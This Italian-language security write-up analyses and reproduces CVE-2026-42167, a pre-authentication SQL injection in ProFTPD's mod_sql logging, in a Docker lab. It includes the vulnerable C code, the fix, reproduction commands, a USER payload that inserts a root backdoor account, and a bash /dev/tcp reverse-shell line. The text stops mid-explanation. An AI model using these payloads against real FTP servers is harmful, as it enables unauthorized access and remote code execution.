
Analisi indipendente della riproduzione, analisi della causa principale a livello di codice e report di esposizione realistica per CVE-2026-42167 (bypass di is_escaped_text() in mod_sql di ProFTPD).
mod_sql SQL Injection / Auth Bypass / RCERiproduzione indipendente, analisi dettagliata della causa radice a livello di codice e una franca
analisi dell'esposizione per CVE-2026-42167 — il bypass di is_escaped_text() nel
pipeline di logging mod_sql di ProFTPD, divulgato da ZeroPath Research e corretto
in ProFTPD 1.3.9a / 1.3.10rc1.
Costruito e verificato end-to-end in Docker su macOS / Apple Silicon, 2026-04-29.
TL;DR — vedi Bottom line per il quadro realistico dell'esposizione prima di decidere quanto preoccuparti. Questo non è un bug presente nell'installazione predefinita, ma il pattern di quoting pericoloso è il pattern che la documentazione upstream ti dice di usare, quindi una grande frazione delle distribuzioni
mod_sqllo eredita.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-42167 |
| CWE | CWE-89 (SQL Injection), CWE-78 (OS Command Injection — via PG COPY TO PROGRAM) |
| Affetti | ProFTPD ≤ 1.3.9 con mod_sql + SQLLog/SQLNamedQuery la cui stringa di formato interpola una variabile controllata dall'attaccante tra virgolette singole |
| Corretto in | 1.3.9a (af90843ba…) / 1.3.10rc1, vedi commit e6f728481 ("Issue #2052") |
| Commit vulnerabile fissato | ae25959adb05ae1d6ebfa1f36bf778c9c34e9410 |
| File vulnerabile | contrib/mod_sql.c righe 741–758 (is_escaped_text) e riga 777 (sql_resolved_append_text) |
| Divulgazione originale | https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce |
| PoC pubblico | https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc |
| Note di rilascio | http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1 |
is_escaped_text() in contrib/mod_sql.cmod_sql risolve le variabili del formato di logging (%U, %{basename}, ecc.) e
aggiunge ogni pezzo nella SQL renderizzata tramite sql_resolved_append_text().
Per preservare la compatibilità all'indietro con le configurazioni admin che già racchiudono
le variabili in '…', la funzione chiama is_escaped_text() per decidere
se sql_escapestring è necessario:```c
/* contrib/mod_sql.c — vulnerable commit ae25959 */
741 static int is_escaped_text(const char text, size_t text_len) {
742 register unsigned int i;
743
744 if (text[0] != ''') return FALSE;
745 if (text[text_len-1] != ''') return FALSE;
746 for (i = 1; i < text_len-1; i++)
747 if (text[i] == ''') return FALSE;
748 return TRUE;
749 }
…
777 if (is_escaped_text(text, text_len) == FALSE) {
… / …sql_escapestring()… */
790 } else {
791 pr_trace_msg(trace_channel, 17,
792 "text '%s' is already escaped, skipping escaping it again", text);
793 new_text = (char *) text;
794 new_textlen = text_len;
795 }
Il controllo è puramente strutturale: non può distinguere *"già escapato da
codice fidato"* da *"creato da un attaccante per sembrare già escapato."*
Qualsiasi valore fornito dal client che corrisponda a `'<no-internal-quotes>'` salta
`sql_escapestring` e viene concatenato grezzo nella query finale.
La configurazione standard e documentata racchiude `%U` / `%{basename}` / `%m` tra virgolette singole:```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog ERR_* log_activity
Quando l’attaccante invia USER '<payload>' (virgolette di apertura e chiusura, senza
virgolette interne), il resolver sostituisce %U senza escape, producendo
''<payload>'' nel SQL — i literal di stringa vuota chiudono le
virgolette circostanti e <payload> viene eseguito come SQL grezzo. Con PostgreSQL
(PQexec) e SQLite (sqlite3_exec), le query impilate sono supportate, quindi
<payload> può essere qualsiasi sequenza di istruzioni.
Poiché SQLLog ERR_* scatta sui login falliti e %U viene impostato da
USER prima dell’autenticazione, l’attacco è completamente non autenticato.
e6f728481, "Issue #2052")sql_resolved_append_text() acquisisce un parametro already_escaped. I chiamanti
che risolvono valori dall’input del client passano FALSE e ora passano
attraverso sql_escapestring incondizionatamente — l’euristica is_escaped_text() è
ancora applicata per il percorso legittimo "config con valore pre-escaped", ma
non si applica più ai dati controllati dall’attaccante.
+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+
- Entrambi i container vengono avviati tramite `setup/docker-compose.yml`.
- `setup/proftpd.conf` abilita la configurazione di logging vulnerabile (vedi §1).
- `setup/seed.sql` crea `users`, `groups`, `activity_log`, `xfer_log`,
e `secrets`, oltre a un singolo utente FTP legittimo `ftpuser / ftppass`.
---
## 3. Riproduzione — copia e incolla
Prerequisiti: Docker Desktop, Python 3.10+, git. (`uv` è opzionale; i
PoC richiedono solo la libreria standard.)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc
# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
# - clones proftpd source pinned to ae25959a (vulnerable)
# - builds with --with-modules=mod_sql:mod_sql_postgres
# - starts both containers, waits for healthchecks
# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121
# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "SELECT userid,uid,gid,homedir,shell FROM users;"
# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
--host localhost --port 2121 --user ftpuser --password ftppass
# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt
# 7) tear down
cd setup && ./teardown.sh
Le due varianti interattive nel repository upstream
(preauth_user_rce.py, postauth_stor_rce.py) sono non modificate e aprono
una reverse shell basata su PTY. Usano la stessa primitiva della variante
marker — basta sostituire il comando shell con bash -i >& /dev/tcp/<host>/<port> 0>&1 e mettersi in ascolto su <port> per prima.
USER, %U)```USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x
Perché funziona: